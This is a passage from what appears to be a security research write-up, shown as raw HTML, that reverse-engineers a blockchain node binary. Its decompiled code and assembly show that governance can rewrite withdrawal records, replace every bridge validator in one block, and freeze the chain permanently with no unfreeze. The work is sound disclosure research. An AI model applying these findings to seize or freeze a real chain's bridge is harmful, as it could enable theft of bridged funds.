&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Read old index at offset +24
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// WRITE new index at offset +24
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v69&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;352&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Success
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;v69&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The withdrawal record at &lt;code&gt;bucket_base + 48*local_idx + 24&lt;/code&gt; is mutated by governance.&lt;/p&gt;
&lt;p&gt;No authorization is required once the consensus vote reaches this code.&lt;/p&gt;
&lt;h3 id="changing-the-bridge-validator-set"&gt;Changing the Bridge Validator Set&lt;/h3&gt;
&lt;p&gt;Bridge validator set is governance-controlled via &lt;code&gt;AllowedBridgeValidators&lt;/code&gt; (case 17 at &lt;code&gt;0x1F37D9C&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; Case 17
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37d9c&lt;/span&gt; &lt;span class="no"&gt;add&lt;/span&gt; &lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="c1"&gt;; Skip discriminant, point to payload
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37da8&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;sub_1BE9E60&lt;/span&gt; &lt;span class="c1"&gt;; Deserialize Vec&amp;lt;[u8;32]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37db2&lt;/span&gt; &lt;span class="no"&gt;cmp&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt; &lt;span class="c1"&gt;; Check success
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37db7&lt;/span&gt; &lt;span class="no"&gt;jnz&lt;/span&gt; &lt;span class="no"&gt;loc_1F397F1&lt;/span&gt; &lt;span class="c1"&gt;; Error if failed
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37e11&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3200&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; Bridge validator state base
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37e3f&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;sub_1C23160&lt;/span&gt; &lt;span class="c1"&gt;; Mutate validator set
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; Binary search using memcmp on 32-byte keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37f09&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt; &lt;span class="c1"&gt;; Compare 32 bytes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;f37f16&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;memcmp_ptr&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;State written to &lt;code&gt;r13+0x3200&lt;/code&gt;. Each validator is 32 bytes. The insert function at &lt;code&gt;sub_1C23160&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;sub_1C23160&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Root node pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Empty set
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v14&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v13&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Tree depth
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;LABEL_3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v15&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;362&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Entries in node
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// End of node
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;LABEL_9&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Not found, at leaf
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;368&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Follow child pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;LABEL_3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Binary search: compare 32-byte validator keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mh"&gt;0x20u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Next entry
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;LABEL_9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Found match - update set
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;sub_1729780&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authorization&lt;/td&gt;
&lt;td&gt;None in handler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validation&lt;/td&gt;
&lt;td&gt;Deserialize only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application&lt;/td&gt;
&lt;td&gt;Instant (no delay)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If a single entity controls ≥2/3 of voting power, they can replace all bridge validators in a single block.&lt;/p&gt;
&lt;h3 id="freezing-the-entire-chain-permanently"&gt;Freezing the entire chain permanently&lt;/h3&gt;
&lt;p&gt;Exhaustive enumeration of all 89 &lt;code&gt;VoteGlobalAction&lt;/code&gt; variants (0x00-0x58) from deserializer at &lt;code&gt;sub_1F40200&lt;/code&gt; shows &lt;code&gt;FreezeChain&lt;/code&gt; exists at discriminant 0x20. No &lt;code&gt;UnfreezeChain&lt;/code&gt; variant exists.&lt;/p&gt;
&lt;p&gt;Other governance actions are reversible via boolean toggles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HaltPerpTrading&lt;/code&gt; (0x22): &lt;code&gt;is_halted: bool&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DisableCValidator&lt;/code&gt; (0x33): &lt;code&gt;disable: bool&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SetEvmEnabled&lt;/code&gt; (0x38): boolean flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FreezeChain takes only a height parameter with no toggle:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FreezeChain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
